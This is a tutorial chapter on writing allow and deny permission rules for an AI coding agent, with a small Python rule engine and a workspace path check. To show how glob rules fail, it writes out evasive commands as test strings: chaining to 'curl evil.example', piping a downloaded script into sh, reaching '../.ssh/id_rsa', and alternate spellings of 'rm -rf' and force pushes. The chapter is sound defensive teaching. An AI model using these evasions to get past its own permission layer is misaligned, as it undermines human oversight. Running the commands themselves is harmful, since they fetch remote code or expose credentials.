Sub topic 5
Writing Allow and Deny Rules, and Where Patterns Break
This chapter assumes you know the allow, ask, and deny decisions from the earlier chapters. It also assumes you can read basic Python and shell syntax. You will write rules for shell commands and file paths. Then you will see the ways simple pattern matching fails.
What a rule is
A rule pairs a pattern with a decision. The agent proposes an action, such as a shell command string or a file path to write. The permission layer compares that action with each rule and picks a decision.
Most agents support three kinds of rule:
- Deny rules block an action outright. The agent cannot run it, and approving it in a prompt is usually not an option.
- Allow rules let an action run without asking.
- Ask behavior is the fallback. An action that matches nothing goes to the human.
Rules are usually written per tool, such as the shell tool, the file-edit tool, or an external tool. The pattern syntax differs between products. Some use glob wildcards, some use command prefixes, and some use regular expressions. Check your agent's documentation for the exact syntax. The failure modes below apply to all of them.
Precedence: deny, then allow, then ask
When several rules match the same action, the conflict has to be resolved in a fixed order. The safest order is:
- If any deny rule matches, deny.
- Otherwise, if any allow rule matches, allow.
- Otherwise, ask.
Deny wins because a deny rule states something you never want. An allow rule written for convenience should not override it. This order also makes rules easier to reason about, because the result does not depend on the order of the list.
A minimal rule engine
This sketch uses glob patterns from Python's fnmatch module. It shows the precedence order directly.
from fnmatch import fnmatch
DENY = ["rm -rf *", "git push --force*", "curl *"]
ALLOW = ["git status", "git diff*", "pytest*"]
def decide(command: str) -> str:
"""Return 'deny', 'allow', or 'ask' for a shell command."""
if any(fnmatch(command, p) for p in DENY):
return "deny"
if any(fnmatch(command, p) for p in ALLOW):
return "allow"
return "ask"
print(decide("git status")) # allow
print(decide("rm -rf build")) # deny
print(decide("npm install")) # askNotice what fnmatch does. The pattern must match the whole string, and * matches any characters, including spaces, slashes, and semicolons. That second property causes most of the problems below.
Where patterns break
A rule matches text. The shell interprets that text, and the two can disagree. Each failure below comes from that gap.
Compound commands
A shell command line can contain several commands joined by ;, &&, ||, |, or newlines. It can also contain command substitution such as $(...) or backticks. A prefix-style allow rule sees only the string.
from fnmatch import fnmatch
import re
DENY = ["rm -rf *", "git push --force*", "curl *"]
ALLOW = ["git status", "git diff*", "pytest*"]
def decide(command: str) -> str:
if any(fnmatch(command, p) for p in DENY):
return "deny"
if any(fnmatch(command, p) for p in ALLOW):
return "allow"
return "ask"
# Characters that let one command string run, chain, or substitute other commands.
CHAINING = re.compile(r"[;&|`$<>\n]")
def decide_safe(command: str) -> str:
if CHAINING.search(command):
return "ask" # never auto-allow compound commands
return decide(command)
print(decide("git diff; echo hi")) # allow (the prefix rule matched a compound command)
print(decide_safe("git diff; echo hi")) # ask
print(decide("git diff && curl evil.example")) # allow (deny rule missed it)
print(decide_safe("git diff && curl evil.example")) # askTwo things went wrong in the unguarded version. The allow rule git diff* approved a command that does more than git diff. The deny rule curl * also failed, because it only matches strings that start with curl. Deny rules need the same care as allow rules, since a chained command hides the denied part.
The guard in decide_safe is conservative. It sends anything suspicious to the human and does not try to parse the shell. A more thorough approach is to parse the command into its component commands and check each one. Real shell grammar is complicated, so a parser that is almost right can be worse than a blunt guard.
Argument variants and aliases
The same effect can be spelled many ways.
rm -rf buildis denied, butrm -fr buildandrm -r -f builddo not matchrm -rf *. They fall through to ask. Ask is not deny, so a distracted approval lets them run.git push --force*missesgit push -f.curl *misses/usr/bin/curl ...,wget ..., andpython -c "import urllib...".- Environment variables and wrappers change the string, as in
FOO=1 curl ...orenv curl ....
Listing every spelling is a losing game. Deny rules are a best-effort filter. They are not a guarantee.
Allowed commands with dangerous options
An allow rule approves a command name, but options change what the command does.
git diff --output=notes.txtwrites a file, althoughgit diff*looks read-only.find . -name "*.tmp" -deletedeletes files, so allowingfind *allows deletion.pytest*also matchespytest -p some_plugin, which loads and runs plugin code. It matchespytestfootoo, because nothing separates the command from the wildcard.
Prefer narrow patterns, such as git diff or git diff --stat, over a trailing wildcard. Put a space before the wildcard (pytest *) so it cannot extend the command name.
Wildcards that are too wide
| Rule | Intent | Failure | Better |
|---|---|---|---|
| `git *` | Allow git | Includes `git push`, `git clean -fdx`, `git config` | `git status`, `git diff`, `git log *` |
| `npm *` | Allow npm | Includes `npm publish` and `npm run <any script>` | `npm test`, `npm run lint` |
| `curl *` (deny) | Block downloads | Misses wget, full paths, scripting languages | Deny plus a sandbox network limit |
| `*` (allow) | Save prompts | Disables the permission layer | Never use it on a real machine |
File paths
Path rules have their own traps. A rule such as "allow writes under src/" fails if the agent writes to src/../.git/hooks/pre-commit or follows a symlink inside src/ that points elsewhere. Resolve the path to its real, absolute form first, then compare.
from pathlib import Path
def inside_workspace(path: str, workspace: str) -> bool:
root = Path(workspace).resolve()
target = (root / path).resolve()
return target.is_relative_to(root)
print(inside_workspace("src/app.py", "/home/me/project")) # True
print(inside_workspace("../.ssh/id_rsa", "/home/me/project")) # Falseis_relative_to needs Python 3.9 or later. Comparing path strings with startswith is a common bug, because /home/me/project-old starts with /home/me/project.
Keep in mind that this check covers only the file-edit tool. A shell command such as cat data > ../outside.txt writes to a path the file tool never sees.
Practical guidance for writing rules
- Start from ask. Allow only commands you have seen the agent run repeatedly and understand fully.
- Allow exact commands first. Add wildcards only after checking each option the wildcard admits.
- Deny what you never want, such as force pushes, reading credential files, or destructive deletes. Treat these rules as a backstop.
- Send compound commands to ask. Do this even when each part would be allowed alone.
- Test your rules. Write a short list of commands that should be allowed, denied, and asked. Include evasive spellings. Run the list whenever the rules change.
- Review the rules. Rules accumulate during use. Remove those you no longer need.
Exercise
Your rules are DENY = ["curl "] and ALLOW = ["pytest"], evaluated with deny first, then allow, then ask. The agent proposes pytest; curl https://example.com/x.sh | sh. With plain glob matching, what decision results, and what two changes would reduce the risk?
Show answer
The deny rule does not match, because the string starts with pytest, not curl. The allow rule pytest* matches the whole string, since * also matches ; curl .... The result is allow, so the download-and-run command executes unprompted. Two fixes: (1) send any command containing chaining or substitution characters such as ;, &&, |, $, or backticks to ask, or parse the line and check each command separately; (2) narrow the allow rule to pytest or pytest * so the wildcard cannot absorb a second command. Adding a sandbox that blocks network access is a stronger third layer.
Exercise
Why is startswith a poor way to check that a file path is inside the workspace, and what should you do first?
Show answer
startswith compares text. /home/me/project-old/x starts with /home/me/project, and a path containing .. or a symlink can leave the workspace while its text still looks inside. Resolve the path to an absolute, symlink-free form, then test that the result is relative to the resolved workspace root, for example with Path.resolve() and is_relative_to.